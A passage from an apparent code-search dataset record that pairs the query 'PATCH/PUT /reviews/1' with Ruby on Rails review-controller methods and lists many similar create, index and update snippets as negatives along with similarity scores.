"def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = @post.reviews.where(user_id: current_user.id).create(params[:review])\n respond_with @post, @review, location: post_path(@post, anchor: \"review_#{@review.id}\")\n end",
"def create\n #binding.pry\n review = Review.new(review_params) \n if review.save\n render json: ReviewSerializer.new(review)\n else\n render json: {errors: review.errors.full_messages}\n end\n end",
"def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @review }\n else\n format.html { render action: 'new' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_review(booking, options = {})\n post(\"bookings/#{booking}/reviews\", reviews: [options]).pop\n end",
"def create\n\t\treview = Review.create(:user_id=>params[:review][:user_id], :note_id=>params[:review][:note_id], :status=>params[:review][:status])\n\t\treview.save!\n\n render json: []\n\tend",
"def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to dashboard_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = Review.new(review_params)\n @review.user = current_user\n\n if @review.save\n render :show, status: :created, location: @review\n else\n render json: { Error: @review.errors }, status: :unprocessable_entity\n end\n end",
"def new\n @review = reviewable.reviews.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def create\n @review = current_user.reviews.build(review_params)\n \n if @review.save\n flash[:success] = 'レビューを投稿しました。'\n redirect_to root_url\n else\n @reviews = current_user.reviews.order(id: :desc).page(params[:page])\n flash.now[:danger] = 'レビューの投稿に失敗しました。'\n render '/reviews'\n end\n end",
"def create\n @review = Review.new(review_params)\n if @review.save\n redirect_to reviews_path\n else\n render 'new'\n end\n end",
"def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end",
"def create\n @review = @publication.reviews.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review.publication, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reviews_and_rating = ReviewsAndRating.new(reviews_and_rating_params)\n\n respond_to do |format|\n if @reviews_and_rating.save\n format.html { redirect_to @reviews_and_rating, notice: 'Reviews and rating was successfully created.' }\n format.json { render :show, status: :created, location: @reviews_and_rating }\n else\n format.html { render :new }\n format.json { render json: @reviews_and_rating.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if !!@review && current_user\n current_user.reviews << @review\n @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n # TODO redirect to page that shows what their review will look like. \n format.html { redirect_to thanks_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: \"レビューが作成されました\" }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user\n @review = current_user.reviews.build(params[:review])\n\n respond_to do |format|\n if @review.save\n flash[:success] = 'Запись успешно добавлена!'\n format.html { redirect_to reviews_path }\n format.json { render json: @review, status: :created, location: reviews_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:error] = 'Вы должны войти в систему!'\n redirect_to root_path\n end\n end",
"def create\n @review = Review.new(review_params)\n respond_to do |format|\n if Review.validate(@review) and @review.save\n format.html { redirect_to bookings_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n flash[:notice] = \"You are submitting your review multiple times. Aborting\"\n format.html { redirect_to bookings_path }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = Review.new(review_params)\n\[email protected]_id = current_user.id\n\t\n\t# used for partials rendering in SPA\n\t@site = Site.find(@review.site_id)\n\t@sites = Site.all\n\t@reviews = Review.where(site_id: @site.id).order(\"created_at DESC\")\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n\t\tformat.js\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n\t\tformat.js { render 'shared/errors' }\n end\n end\n end",
"def save_review\r\n return unless self.review\r\n begin\r\n r = JSON.parse self.review\r\n c = Comment.new\r\n c.id = r['id']\r\n c.content = r['content']\r\n c.user_id = r['user']['id']\r\n c.app_id = r['app']['id']\r\n c.created_at = Time.at r['created_at']\r\n c.model = r['model']\r\n c.sdk = r['sdk']\r\n c.image = r['image']\r\n c.image_size = r['image_size']\r\n c.sns_status_id = r['sns_status_id']\r\n c.sns_id = r['sns_id'] \r\n c.in_reply_to_id = r['in_reply_to_id']\r\n c.save\r\n rescue\r\n end\r\n end",
"def create\n @user_review = UserReview.new(user_review_params)\n\n respond_to do |format|\n if @user_review.save!\n format.html { redirect_to user_reviews_path, notice: 'User review was successfully created.' }\n format.json { render :show, status: :created, location: @user_review }\n else\n format.html { render :new }\n format.json { render json: @user_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = @story.reviews.new(review_params)\n if @review.save\n redirect_to @review.story, notice: 'Review was successfully created.'\n else\n render :new\n end\n end",
"def new\n @review = current_user.reviews.new\n 1.times { @review.review_photos.build }\n @place = Place.first\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def create\n @item_review = ItemReview.new(item_review_params)\n\n respond_to do |format|\n if @item_review.save\n format.html { redirect_to @item_review, notice: 'Item review was successfully created.' }\n format.json { render :show, status: :created, location: @item_review }\n else\n format.html { render :new }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:user_id] && params[:recruiter_id] && params[:review]\n user = User.find(params[:user_id])\n # puts user\n recruiter = Recruiter.find(params[:recruiter_id])\n # puts recruiter\n ################################\n params[\"got_interview\"] ? got_interview = params[\"got_interview\"] : got_interview = false\n params[\"got_job\"] ? got_job = params[\"got_job\"] : got_job = false\n got_job ? got_interview = true : \"null\" #if got job then must have had interview\n params[\"rating\"] ? rating = params[\"rating\"] : rating = 0 #0 means not rated\n params[\"recommended\"] ? recommended = params[\"recommended\"] : recommended = false\n params[\"ghoster\"] ? ghoster = params[\"ghoster\"] : ghoster = false\n # puts \"*********$\"\n # puts params\n # puts recommended\n # puts params[:recommended]\n # puts \"***************$\"\n review = Review.new(\n user_id: user.id,\n recruiter_id: recruiter.id,\n review: params[\"review\"],\n got_interview: got_interview,\n got_job: got_job,\n rating: rating,\n recommended: recommended,\n ghoster: ghoster\n ) #Review.new\n\n if review.save\n render json: {\"POSTED REVIEW\": \"ok\"} #works\n else\n render json: {\"error\": \"ERROR SAVE POSTED REVIEW\"}\n end\n ################################\n # render json: {\"POSTED REVIEW\": \"ok\"} #works\n else\n render json: {\"error\": \"no user_id or recruiter_id or review\"}\n end # if params[:user_id]\n end",
"def new\n @review = @place.reviews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def create\n @recipe = Recipe.find params[:recipe_id]\n review = Review.new review_params\n review.recipe = @recipe\n review.user = current_user\n if review.save\n render json:{id: review.id}\n else \n render(json: {status: 422},\n status: 422 )\n end\n end",
"def create\n @item_review = ItemReview.new(item_review_params)\n\n respond_to do |format|\n if @item_review.save\n format.html { redirect_to @item_review, notice: 'Item review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_review }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = current_user.reviews.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_path(@review.place), notice: 'Review was successfully created.' }\n else\n format.html { redirect_to root_path }\n end\n end\n end",
"def create\n\t\t@book_review = BookReview.new(params[:book_review])\n\t\t@book_review.user_id = current_user.id\n\t\t@book_review.book_id = params[:book_id]\n\n\t\trespond_to do |format|\n\t\t\tif @book_review.save\n\t\t\t\tformat.html { redirect_to @book_review, :notice => 'Book review was successfully created.' }\n\t\t\t\tformat.json { render :json => @book_review, :status => :created, :location => @book_review }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.json { render :json => @book_review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def review\n\t@applicants = Applicant.all\n\t\n\trespond_to do |format|\n\tformat.html # review.html.erb\n\tformat.json { render json: @applicants }\n\tend\n\tend",
"def create\n item = Item.find(params[:review][:rateable_id])\n @review = item.reviews.new\n @review.user_id = current_user.id\n @review.rating = params[:review][:rating]\n @review.comment = params[:review][:comment]\n if @review.save\n redirect_to item_path(item)\n else\n flash[:alet] = \"There was a problem creating the review\"\n render :new\n end\n end",
"def reviews(params = {})\n data = request(\"/review/list\", params.merge(v: \"2\"))\n reviews = data[\"reviews\"][\"review\"]\n if reviews.present?\n reviews.map { |review| Hashie::Mash.new(review) }\n else\n []\n end\n end",
"def create\n @review = @place.reviews.new(params[:review])\n @review.user = current_user\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_path(@place), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { redirect_to place_path(@place, :anchor => \"review\"), notice: 'Please enter your review!!.' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @reviews = Review.all\n @review = Review.new(review: params[:review][:review], my_book_id: params[:my_book_id])\n end",
"def create\n @review = Review.new(review_params)\n @review.exceptional ||= 0\n if @review.save\n @apn.update_attribute(:reviewed, true)\n link = reviews_path\n name = @apn.profile.first_name.capitalize + \" \".to_s + @apn.profile.last_name.capitalize\n redirect_to new_review_path, notice: (\"#{name} successfully reviewed.\" +\n \" New application loaded. If you're feeling lazy, <a href='#{link}'>\" +\n \"go to the Dashboard</a>\").html_safe\n else\n render action: \"new\", alert: \"something went wrong with submitting the review\"\n end\n end",
"def create\n\t\t@review = Review.new(params[:review])\n\t\[email protected] = Establishment.find(params[:establishment])\n\t\[email protected] = Category.find(params[:category])\n\t\[email protected] = Clientele.find(params[:clientele])\n\t\[email protected]_level = SoundLevel.find(params[:sound_level])\n\t\[email protected] = Hygiene.find(params[:hygiene])\n\t\[email protected] = Rating.find(params[:rating])\n\n\t\trespond_to do |format|\n\t\t\tif @review.save\n\t\t\t\tformat.html { redirect_to(@review, :notice => 'Review was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @review, :status => :created, :location => @review }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @critic_review = CriticReview.new(critic_review_params)\n\n respond_to do |format|\n if @critic_review.save\n format.html { redirect_to @critic_review, notice: 'Critic review was successfully created.' }\n format.json { render :show, status: :created, location: @critic_review }\n else\n format.html { render :new }\n format.json { render json: @critic_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Creates a new review & sends them back to their updated page\n review = current_user.reviews.create(review_params)\n if review.save\n redirect_to :back\n else\n redirect_to product_path(id: params[:product_id])\n end\n end",
"def welcome\n @reviews = Review.all\n render json: @reviews\n end",
"def create\n @comic = Comic.find(params[:comic_id])\n @review = current_user.reviews.new(review_params)\n @review.tag_list = params[:tag_list]\n @review.comic_id = @comic.id\n p @review\n p review_params\n respond_to do |format|\n if @review.save\n format.html { redirect_to comic_path(@comic), notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @review = Review.new(review_params)\n\n if @review.valid?\n @review.save \n @boardgame = Boardgame.find(params[:boardgame_id])\n render json: @boardgame, status: :created \n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.find params[:product_id] \n @review = @product.reviews.create(review_params)\n if @review.save\n redirect_to :back\n end\n end",
"def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def create\n @visitor_review = VisitorReview.new(visitor_review_params)\n\n respond_to do |format|\n if @visitor_review.save\n format.html { redirect_to @visitor_review, notice: 'Visitor review was successfully created.' }\n format.json { render :show, status: :created, location: @visitor_review }\n else\n format.html { render :new }\n format.json { render json: @visitor_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @book_review = BookReview.new(params[:book_review])\n\n respond_to do |format|\n if @book_review.save\n format.html { redirect_to @book_review, notice: 'Book review was successfully created.' }\n format.json { render json: @book_review, status: :created, location: @book_review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reviews_params\n params.require(:review).permit(:name, :email, :content, :score)\n end",
"def index\n @reviews = @post.reviews.all\n respond_with @post, @reviews\n end",
"def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n @review.movie_id = @movie.id\n\n respond_to do |format|\n #If the review is saved, it redirects to the movie page and shows the notice.\n if @review.save\n format.html { redirect_to @movie, notice: t('review.create') }\n format.json { render :show, status: :created, location: @review }\n #If the review is not saved, it refreshes the create review page.\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def new\n @review = Review.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"def post_review\n @review = Review.new\n @review.title = params[:title]\n @review.description = params[:description]\n @review.name = params[:name]\n @review.user_id = User.find(session[:user_id]).id\n @review.rating = params[:rating]\n @review.listing = params[:listing]\n @review.save()\n # flash[:notice] = \"Review added successfully.\"\n redirect_to :action => :listing, :id => params[:listing]\n end",
"def review_params\n params.require(:review).permit(:customer_id, :car_id, :reservation_id, :content, :rating)\n end",
"def create\n if @restaurant.present?\n review = Review.new(review_params)\n if review.save\n render_json content: review\n else\n render_json content: review.errors\n end\n else\n render json: {error: \"restaurant id #{review_params[:restaurant_id]} does not exist\"}, status: :forbidden\n end\n end",
"def create\n @book = Book.find(params[:book_id])\n @review = @book.reviews.build(review_params)\n @review.user = current_user\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to book_path(@book), notice: 'Su crítica se envió correctamente.' }\n format.json { render :show, status: :created, location: @review }\n format.js\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @shop = Shop.find(params[:shop_id])\n @review = @shop.reviews.create(reviewer: params[:review][:reviewer], rate: params[:review][:rate], body: params[:review][:body])\n\n if @review.save\n puts \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n flash[:notice] = \"レビューの投稿が完了しました\"\n redirect_to shop_path(@shop)\n\n else\n redirect_to shop_path(@shop)\n flash[:notice] = \"レビューの投稿に失敗しました\"\n end\n\n\n end",
"def create_review(book_id, params = {})\n params = params.merge(book_id: book_id, v: \"2\")\n\n params[:read_at] = params[:read_at].strftime('%Y-%m-%d') if params[:read_at].is_a?(Time)\n\n params[:'review[review]'] = params.delete(:review) if params[:review]\n params[:'review[rating]'] = params.delete(:rating) if params[:rating]\n params[:'review[read_at]'] = params.delete(:read_at) if params[:read_at]\n\n data = oauth_request_method(:post, '/review.xml', params)\n\n Hashie::Mash.new(data[\"review\"])\n end",
"def create\n @review = Review.new(params[:review])\n @review.review_date = Time.now\n @review.user_id = current_user.id\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_url(@review.place), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def review_params\n params.require(:review).permit(:user_id, :comic_id, :review_text, :review_title, :netabare, :tag_list, :star)\n end",
"def review\n fetch('restaurant.review')\n end",
"def create\n @food_review = FoodReview.new(food_review_params)\n\n respond_to do |format|\n if @food_review.save\n format.html { redirect_to @food_review, notice: 'Food review was successfully created.' }\n format.json { render :show, status: :created, location: @food_review }\n else\n format.html { render :new }\n format.json { render json: @food_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n author = Author.find(params[:author_id])\n @reviews = author.reviews\n render json: @reviews\n end",
"def new\n @new_review = NewReview.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_review }\n end\n end",
"def create\n @restaurant_review = RestaurantReview.new(restaurant_review_params)\n\n respond_to do |format|\n if @restaurant_review.save\n format.html { redirect_to @restaurant_review, notice: 'Restaurant review was successfully created.' }\n format.json { render :show, status: :created, location: @restaurant_review }\n else\n format.html { render :new }\n format.json { render json: @restaurant_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def create\r\n _params = review_init_params\r\n _params[:id] = SecurityManager.md5(\"#{@user.id}_#{@task.id}\")\r\n _params[:score] = _params[:score].to_i\r\n _params[:author_id] = @user.id\r\n\r\n begin\r\n @review = @task.reviews.create(_params)\r\n rescue Mongo::Error::OperationFailure\r\n return bad_request(\"duplicated\")\r\n end\r\n\r\n respond_to do |format|\r\n if @review.save\r\n format.html { redirect_to '/task' }\r\n else\r\n return unprocessable_entity\r\n end\r\n end\r\n end",
"def index\n @reviews = @place.reviews\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"def review_params\n params.require(:review).permit(:description, :rating, :restaurant_id)\n end",
"def create\n @review = Review.new(review_params)\n respond_to do |format|\n if @review.save\n format.json { render action: 'show', status: :created, location: @review }\n format.html { redirect_to postings_path, notice: 'Review was successfully created.' }\n if current_user.type == \"Student\"\n format.html { redirect_to postings_path, notice: 'Review was successfully created.' }\n else\n format.html { redirect_to supervisor_application_index_path, notice: 'Review was successfully created.' }\n end\n else\n format.html { redirect_to postings_path, notice: \"Review could not be saved. Make sure you fill out fields with an *.\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@reviews = @share.reviews.order(priority: :asc)\n\t\t@reviewToAlter = @share.reviews.new(review_params)\n\t\t\n\t\tif @reviewToAlter.save\n\t\t\tredirect_to share_reviews_path(@share), notice: \"Review saved!\"\n\t\telse\n\t\t\tflash[:alert] = \"Error : #{@reviewToAlter.errors.full_messages.to_sentence}\"\n\t\t\trender :index\n\t\tend\n\tend",
"def reviews( params={} )\n reviews = get_connections(\"reviews\", params)\n return map_connections reviews, :to => Facebook::Graph::Review\n end",
"def create\n @review = Review.new(params[:review])\n if @review.save\n flash[:notice] = \"Review Created\"\n redirect_to \"/products\"\n else\n render \"create\"\n end\n end",
"def review_params\n params.require(:review).permit(:content, :rating)\n end",
"def create \n @refrigerator = Refrigerator.find(params[:refrigerator_id])\n @review = Review.create(create_update_params)\n @refrigerator.reviews << @review\n\n if @review.save!\n\n flash[:notice] = 'Review successfully created.'\n redirect_to refrigerator_path(params[:refrigerator_id])\n else\n flash[:notice] = 'Could not create new review.'\n redirect_to (new_refrigerator_review_path(@refrigerator))\n end\n end",
"def review\n @users = User.all\n @review = Review.new\n end",
"def create\n @review = Review.new(params[:review])\n @review.user = current_user\n\n respond_to do |format|\n if @review.save\n flash[:notice] = 'Review was successfully created.'\n format.html { redirect_to(@review) }\n format.xml { render :xml => @review, :status => :created, :location => @review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def review_params\n params.require(:review).permit(:rating, :comment)\n end",
"def review_params\n params.require(:review).permit(:rating, :comment)\n end",
"def review_params\n params.require(:review).permit( :description, :rating)\n end",
"def create\n @review = Review.new(params[:review])\n\n if @review.save\n redirect_to contact_path, :notice => \"Uw waardering is geplaatst, hartelijk dank!\"\n else\n\t\t\tredirect_to contact_path, :notice => \"Uw waardering kan op dit moment niet geplaatst worden, probeer het later nog eens.\"\n end\n end",
"def index\n @reviews = Review.all\n \n end",
"def review_params\n params.require(:review).permit(:score, :confidence, :comments, :paper_id)\n end",
"def review_params\n params.require(:review).permit(:lecture_id, :user_id, :content, :rating)\n end"
] |
[
"0.7576602",
"0.75637454",
"0.7493771",
"0.747111",
"0.747111",
"0.747111",
"0.7300367",
"0.72989565",
"0.7201945",
"0.7201945",
"0.71795744",
"0.71406734",
"0.7120858",
"0.7118763",
"0.7002209",
"0.6988962",
"0.6979939",
"0.69722533",
"0.69606304",
"0.6958055",
"0.6953352",
"0.6946341",
"0.6917387",
"0.6896529",
"0.689131",
"0.684411",
"0.68377984",
"0.6826352",
"0.68095565",
"0.6805745",
"0.68000114",
"0.6756741",
"0.6750588",
"0.6718385",
"0.6698959",
"0.6666458",
"0.6655321",
"0.66511434",
"0.6650238",
"0.66481405",
"0.6643257",
"0.66334975",
"0.6632171",
"0.6625182",
"0.6617069",
"0.6616355",
"0.6614021",
"0.65939176",
"0.6578096",
"0.6566304",
"0.655079",
"0.6537635",
"0.65306634",
"0.6529929",
"0.6526942",
"0.6526942",
"0.6521888",
"0.6516327",
"0.65065676",
"0.6494446",
"0.64794886",
"0.6476289",
"0.6476289",
"0.6476289",
"0.6476289",
"0.6476289",
"0.6476289",
"0.6471607",
"0.6462259",
"0.6460475",
"0.64579177",
"0.6457529",
"0.6450494",
"0.64474744",
"0.6443972",
"0.6440192",
"0.642906",
"0.64266014",
"0.6419717",
"0.64197063",
"0.641245",
"0.641245",
"0.64110076",
"0.641063",
"0.6410248",
"0.640811",
"0.640109",
"0.64005774",
"0.6394809",
"0.6391521",
"0.6385833",
"0.6378832",
"0.6370554",
"0.6365557",
"0.6365557",
"0.6360124",
"0.63526964",
"0.63338596",
"0.6333214",
"0.63185745"
] |
0.717838
|
11
|
PATCH/PUT /reviews/1 PATCH/PUT /reviews/1.json
|
def update
@set_def_avt=params[:review][:default_avatar]
@review.cover_page.destroy if @set_def_avt
respond_to do |format|
if @review.update(review_params)
@reviews = Review.order(:heading).paginate(page: params[:page], per_page: 18)
format.html { redirect_to @review; flash[:info]= 'review was successfully updated.' }
format.json { render :show, status: :ok, location: @review }
format.js
else
format.html { render :edit }
format.json { render json: @review.errors, status: :unprocessable_entity }
format.js
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @review = Review.find(params[:id])\n @review.update(review_params)\n render json: @review\n end",
"def update\n @review = reviewable.reviews.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to reviewable_review_url(reviewable, @review), notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @review.update(review_params)\n render json: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\nend",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to restaurent_path(@restaurent.id), notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = @post.reviews.where(user_id: current_user.id).find(params[:id])\n @review.update_attributes(params[:review])\n respond_with @post, @review, location: post_path(@post, anchor: \"review_#{@review.id}\")\n end",
"def update\n @review = @place.reviews.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to reviews_path, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = Review.find(params[:id])\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review.lecture, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review.lecture }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\treview = Review.find(params['id'].to_i) if params['id']\n\t\treview.review_text = params['review_text'] if params['review_text']\n\t\treview.rating = params['rating'] if params['rating']\n\t\treview.reviewer_id = params['reviewer_id'] if params['reviewer_id']\n\t\treview.user_id = params['user_id'].to_i if params['user_id']\n\t\treview.trip_id = params['trip_id'].to_i if params['trip_id']\n\t\treview.save\n\tend",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
